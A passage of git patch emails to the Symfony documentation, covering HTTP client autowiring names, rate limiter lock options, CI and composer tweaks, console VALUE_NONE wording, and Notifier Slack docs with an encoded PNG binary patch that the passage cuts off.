 Each scoped client also defines a corresponding named autowiring alias.
 If you use for example
-``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient``
-as the type and name of an argument, autowiring will inject the ``my_api.client``
+``Symfony\Contracts\HttpClient\HttpClientInterface $githubClient``
+as the type and name of an argument, autowiring will inject the ``github.client``
 service into your autowired classes.
 
 .. note::

From abfb19d9eb024874a362da644b51b5e14455d07f Mon Sep 17 00:00:00 2001
From: Antonin CLAUZIER <antonin@clauzier.dev>
Date: Thu, 20 May 2021 15:06:29 +0200
Subject: [PATCH 2207/7107] Closes \#15034 adds information about the lock
 being nullable

---
 rate_limiter.rst | 22 ++++++++++++++++++++--
 1 file changed, 20 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 96f0cd0e5e0..4f2d20b2b18 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -442,9 +442,9 @@ simultaneous requests (e.g. three servers of a company hitting your API at the
 same time). Rate limiters use :doc:`locks </lock>` to protect their operations
 against these race conditions.
 
-By default, Symfony uses the global lock configured by ``framework.lock``), but
+By default, Symfony uses the global lock configured by ``framework.lock``, but
 you can use a specific :ref:`named lock <lock-named-locks>` via the
-``lock_factory`` option:
+``lock_factory`` option (or none at all):
 
 .. configuration-block::
 
@@ -459,6 +459,9 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
                     # use the "lock.rate_limiter.factory" for this limiter
                     lock_factory: 'lock.rate_limiter.factory'
 
+                    # or don't use any lock mechanism
+                    lock_factory: null
+
     .. code-block:: xml
 
         <!-- config/packages/rate_limiter.xml -->
@@ -481,6 +484,14 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
                         lock-factory="lock.rate_limiter.factory"
                     />
 
+                    <!-- limiter-factory: or don't use any lock mechanism -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                        lock-factory="null"
+                    />
+
                     <!-- ... -->
                 </framework:rate-limiter>
             </framework:config>
@@ -498,9 +509,16 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 
                     // use the "lock.rate_limiter.factory" for this limiter
                     ->lockFactory('lock.rate_limiter.factory')
+
+                    // or don't use any lock mechanism
+                    ->lockFactory(null)
                 ;
         };
 
+.. versionadded:: 5.3
+
+    The login throttling doesn't use any lock since Symfony 5.3 to avoid extra load.
+
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/

From a0440212ab568aab85c9039f4dfc014e0d8c0559 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 23 Apr 2021 17:10:27 +0200
Subject: [PATCH 2208/7107] [CI] Dont use special reposiroty for
 symfony-tools/docs-builder

---
 .github/workflows/ci.yaml | 2 +-
 _build/composer.json      | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index d5039a5e569..8af52fa5a47 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -36,7 +36,7 @@ jobs:
                 run: make -C _build SPHINXOPTS="-nqW -j auto" html
 
     symfony-docs-builder-build:
-        name: Build (symfony/docs-builder)
+        name: Build (symfony-tools/docs-builder)
 
         runs-on: ubuntu-latest
 
diff --git a/_build/composer.json b/_build/composer.json
index 4934e45625f..8bfbd030cbe 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -13,7 +13,7 @@
     "require": {
         "php": ">=7.4",
         "symfony/console": "^5.2",
-        "symfony-tools/docs-builder": "^0.15.0",
-        "symfony/process": "^5.2"
+        "symfony/process": "^5.2",
+        "symfony-tools/docs-builder": "^0.15.0"
     }
 }

From 403cb3378a954290b963bfb944d387f36b8f40be Mon Sep 17 00:00:00 2001
From: Martin Melka <melkamar@users.noreply.github.com>
Date: Tue, 4 May 2021 10:31:31 +0200
Subject: [PATCH 2209/7107] Add explicit note about the type of VALUE_NONE

It was not clear what the default value nor what the type returned
from InputOption::VALUE_NONE is.
---
 console/input.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console/input.rst b/console/input.rst
index 926a89604cd..60ab46fb48d 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -205,8 +205,8 @@ There are four option variants you can use:
     This option accepts multiple values (e.g. ``--dir=/foo --dir=/bar``);
 
 ``InputOption::VALUE_NONE``
-    Do not accept input for this option (e.g. ``--yell``). This is the default
-    behavior of options;
+    Do not accept input for this option (e.g. ``--yell``). The value returned from this option will be a boolean, ``false`` if the option is not provided.
+    This is the default behavior of options;
 
 ``InputOption::VALUE_REQUIRED``
     This value is required (e.g. ``--iterations=5`` or ``-i5``), the option

From 976e11a07b66069bb0cf442d949849a6d5b78dd8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 13:05:56 +0200
Subject: [PATCH 2210/7107] Tweaks

---
 console/input.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index 60ab46fb48d..b7534d21abd 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -205,7 +205,8 @@ There are four option variants you can use:
     This option accepts multiple values (e.g. ``--dir=/foo --dir=/bar``);
 
 ``InputOption::VALUE_NONE``
-    Do not accept input for this option (e.g. ``--yell``). The value returned from this option will be a boolean, ``false`` if the option is not provided.
+    Do not accept input for this option (e.g. ``--yell``). The value returned
+    from is a boolean (``false`` if the option is not provided).
     This is the default behavior of options;
 
 ``InputOption::VALUE_REQUIRED``

From 62997ecf48fa5054fb2d084962b2ce5c13fe8d1e Mon Sep 17 00:00:00 2001
From: Antonin CLAUZIER <antonin@clauzier.dev>
Date: Fri, 21 May 2021 12:40:04 +0200
Subject: [PATCH 2211/7107] [Notifier] Adds documentation for Slack stuff added
 in 5.3

---
 _images/notifier/slack/message-reply.png | Bin 0 -> 41766 bytes
 _images/notifier/slack/slack-footer.png  | Bin 0 -> 16064 bytes
 _images/notifier/slack/slack-header.png  | Bin 0 -> 10140 bytes
 notifier/chatters.rst                    | 114 +++++++++++++++++++++++
 4 files changed, 114 insertions(+)
 create mode 100644 _images/notifier/slack/message-reply.png
 create mode 100644 _images/notifier/slack/slack-footer.png
 create mode 100644 _images/notifier/slack/slack-header.png

diff --git a/_images/notifier/slack/message-reply.png b/_images/notifier/slack/message-reply.png
new file mode 100644
index 0000000000000000000000000000000000000000..9a60e4573ab2c4c23ae6b0f4d1be84aa1f39b5ba
GIT binary patch
literal 41766
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
